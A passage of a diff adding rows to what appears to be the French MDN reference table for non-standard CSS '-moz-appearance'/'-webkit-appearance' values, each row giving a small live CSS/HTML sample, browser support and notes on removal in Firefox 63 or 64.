+   <td>Firefox</td>
+   <td>Retiré avec Fx 63.</td>
+  </tr>
+  <tr>
+   <td><code>scrollbarbutton-right</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScrollbarButtonRight">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scrollbarbutton-right;
+-webkit-appearance: scrollbarbutton-right; }</pre>
+
+    <pre class="bruh: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarButtonRight",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 63.</td>
+  </tr>
+  <tr>
+   <td><code>scrollbarbutton-up</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScrollbarButtonUp">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scrollbarbutton-up;
+-webkit-appearance: scrollbarbutton-up; }</pre>
+
+    <pre class="bruh: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarButtonUp",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 63.</td>
+  </tr>
+  <tr>
+   <td><code>scrollbarthumb-horizontal</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScrollbarThumbHorizontal">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scrollbarthumb-horizontal;
+-webkit-appearance: scrollbarthumb-horizontal; }</pre>
+
+    <pre class="bruh: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarThumbHorizontal",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>scrollbarthumb-vertical</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScrollbarThumbVertical">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scrollbarthumb-vertical;
+-webkit-appearance: scrollbarthumb-vertical; }</pre>
+
+    <pre class="bruh: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarThumbVertical",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>scrollbartrack-horizontal</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScrollbarTrackHorizontal">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scrollbartrack-horizontal;
+-webkit-appearance: scrollbartrack-horizontal; }</pre>
+
+    <pre class="bruh: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarTrackHorizontal",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>scrollbartrack-vertical</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScrollbarTrackVertical">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scrollbartrack-vertical;
+-webkit-appearance: scrollbarbartrack-vertical; }</pre>
+
+    <pre class="bruh: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarTrackVertical",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>searchfield</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSearchField">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: searchfield;
+-webkit-appearance: searchfield; }</pre>
+
+    <pre class="bruh: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSearchField",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>searchfield-decoration</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-searchfield-decoration">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: searchfield-decoration;
+-webkit-appearance: searchfield-decoration; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-searchfield-decoration",100,50,"","","nobutton")}}</td>
+   <td>Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>searchfield-results-decoration</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-searchfield-results-decoration">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: searchfield-results-decoration;
+-webkit-appearance: searchfield-results-decoration; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-searchfield-results-decoration",100,50,"","","nobutton")}}</td>
+   <td>Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>searchfield-results-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-searchfield-results-button">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: searchfield-results-button;
+-webkit-appearance: searchfield-results-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-searchfield-results-button",100,50,"","","nobutton")}}</td>
+   <td>Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>searchfield-cancel-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSearchFieldCancelButton">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: searchfield-cancel-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSearchFieldCancelButton",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>snapshotted-plugin-overlay</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-snapshotted-plugin-overlay">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: snapshotted-plugin-overlay;
+-webkit-appearance: snapshotted-plugin-overlay; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-snapshotted-plugin-overlay",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>separator</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSeparator">
+    <pre class="brush: css">
+div { color: transparent;
+-moz-appearance: separator;
+-webkit-appearance: separator; }</pre>
+
+    <pre class="bruh: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSeparator",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>
+    <p>Retiré avec Fx 64.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>sheet</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSheet">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: sheet;
+-webkit-appearance: sheet; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSheet",100,50,"","", "nobutton")}}</td>
+   <td>None</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>slider-horizontal</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSliderHorizontal">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: slider-horizontal; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSliderHorizontal",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>slider-vertical</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSliderVertical">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: slider-vertical; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSliderVertical",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>sliderthumb-horizontal</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSliderThumbHorizontal">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: slider-thumb-horizontal; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSliderThumbHorizontal",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>sliderthumb-vertical</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSliderThumbVertical">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: slider-thumb-vertical; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSliderThumbVertical",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>spinner</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSpinner">
+    <pre class="brush: css">
+div { color: transparent;
+-moz-appearance: spinner;
+-webkit-appearance: spinner; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSpinner",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>spinner-downbutton</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSpinnerDownbutton">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: spinner-downbutton;
+-webkit-appearance: spinner-downbutton; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSpinnerDownbutton",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>spinner-textfield</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSpinnerTextfield">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: spinner-textfield;
+-webkit-appearance: spinner-textfield; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSpinnerTextfield",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>spinner-upbutton</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSpinnerUpbutton">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: spinner-upbutton;
+-webkit-appearance: spinner-upbutton; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSpinnerUpbutton",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>splitter</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSplitter">
+    <pre class="brush: css">
+div { color: transparent;
+-moz-appearance: splitter;
+-webkit-appearance: splitter; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSplitter",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>square-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSquareButton">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: square-button;
+-webkit-appearance: square-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSquareButton",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>statusbar</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleStatusBar">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: statusbar;
+-webkit-appearance: statusbar; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleStatusBar",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>statusbarpanel</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleStatusBarPanel">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: statusbarpanel;
+-webkit-appearance: statusbarpanel; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleStatusBarPanel",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>tab</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTab">
+    <pre class="brush: css">
+div { color: black; height: 20px;
+-moz-appearance: tab;
+-webkit-appearance: tab; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTab",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64</td>
+  </tr>
+  <tr>
+   <td><code>tabpanel</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTabPanel">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: tabpanel;
+-webkit-appearance: tabpanel; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTabPanel",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>tabpanels</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTabPanels">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: tabpanels;
+-webkit-appearance: tabpanels; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTabPanels",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64</td>
+  </tr>
+  <tr>
+   <td><code>tab-scroll-arrow-back</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTabScrollArrowBack">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: tab-scroll-arrow-back;
+-webkit-appearance: tab-scroll-arrow-back; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTabScrollArrowBack",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>tab-scroll-arrow-forward</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTabScrollArrowForward">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: tab-scroll-arrow-forward;
+-webkit-appearance: tab-scroll-arrow-forward; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTabScrollArrowForward",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>textarea</code></td>
+   <td>
+    <div class="hidden" id="sampleTextArea">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: textarea; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTextArea",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>textfield</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTextField">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: textfield;
+-webkit-appearance: textfield; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTextField",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>textfield-multiline</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTextfieldMultiline">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: textfield-multiline;
+-webkit-appearance: textfield-multiline; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTextfieldMultiline",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Utiliser <code>textarea</code> à la place de cette valeur.</td>
+  </tr>
+  <tr>
+   <td><code>toolbar</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleToolbar">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: toolbar;
+-webkit-appearance: toolbar; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleToolbar",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>toolbarbutton</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleToolbarButton">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: toolbarbutton;
+-webkit-appearance: toolbarbutton; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleToolbarButton",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>toolbarbutton-dropdown</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleToolbarButtonDropdown">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: toolbarbutton-dropdown;
+-webkit-appearance: toolbarbutton-dropdown; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleToolbarButtonDropdown",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>toolbargripper</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleToolbarGripper">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: toolbargripper;
+-webkit-appearance: toolbargripper; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleToolbarGripper",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>toolbox</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleToolbox">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: toolbox;
+-webkit-appearance: toolbox; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleToolbox",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>tooltip</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTooltip">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: tooltip;
+-webkit-appearance: tooltip; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTooltip",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>treeheader</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTreeHeader">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: treeheader;
+-webkit-appearance: treeheader; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeHeader",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>treeheadercell</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTreeHeaderCell">
+    <pre class="brush: css">
+div { color: black; height:20px;
+-moz-appearance: treeheadercell;
+-webkit-appearance: treeheadercell; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeHeaderCell",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>treeheadersortarrow</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTreeHeaderSortArrow">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: treeheadersortarrow;
+-webkit-appearance: treeheadersortarrow; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeHeaderSortArrow",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>treeitem</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTreeItem">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: treeitem;
+-webkit-appearance: treeitem; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeItem",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>treeline</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTreeLine">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: treeline;
+-webkit-appearance: treeline; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeLine",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>treetwisty</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTreeTwisty">
+    <pre class="brush: css">
+div { color: transparent;
+-moz-appearance: treetwisty;
+-webkit-appearance: treetwisty; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeTwisty",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>treetwistyopen</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTreeTwistyOpen">
+    <pre class="brush: css">
+div { color: transparent;
+-moz-appearance: treetwistyopen;
+-webkit-appearance: treetwistyopen; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeTwistyOpen",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>treeview</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleTreeView">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: treeview;
+-webkit-appearance: treeview; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeView",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>relevancy-level-indicator</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-relevancy-level-indicator">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: relevancy-level-indicator;
+-webkit-appearance: relevancy-level-indicator; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-relevancy-level-indicator",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>-moz-win-borderless-glass</code> {{Non-standard_Inline}}{{Gecko_MinVersion_Inline("2.0")}}</td>
+   <td>
+    <div class="hidden" id="sampleWinBorderlessGlass">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-win-borderless-glass; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWinBorderlessGlass",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64. Ce style applique l'effet Aero Glass sans bordure sur l'élément.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-win-browsertabbar-toolbox</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWinBrowsertabbarToolbox">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-win-browsertabbar-toolbox; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWinBrowsertabbarToolbox",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64. Ce style de boîte à outils est censé être utilisé dans la barre d'onglet du navigateur.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-win-communicationstext</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWinCommunicationstext">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-win-communicationstext; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWinCommunicationstext",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-win-communications-toolbox</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWinCommunicationsToolbox">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-win-communications-toolbox; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWinCommunicationsToolbox",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64. Ce style de boîte à outils devait être utilisé pour les applications relatives aux communications et à la productivit. La couleur de premier plan associée est <code>-moz-win-communicationstext</code>.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-win-exclude-glass</code> {{Non-standard_Inline}}{{Gecko_MinVersion_Inline("6.0")}}</td>
+   <td>
+    <div class="hidden" id="sampleWinExcludeGlass">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-win-exclude-glass; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWinExcludeGlass",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64. Ce style permet d'exclure l'effet Aero Glass sur l'élément.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-win-glass</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWinGlass">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-win-glass; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWinGlass",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64. Ce style permet d'appliquer l'effet Aero Glass sur l'élément.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-win-media-toolbox</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleWinMediaToolbox">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: -moz-win-media-toolbox; }</pre>
+
+    <pre class="brush: html">
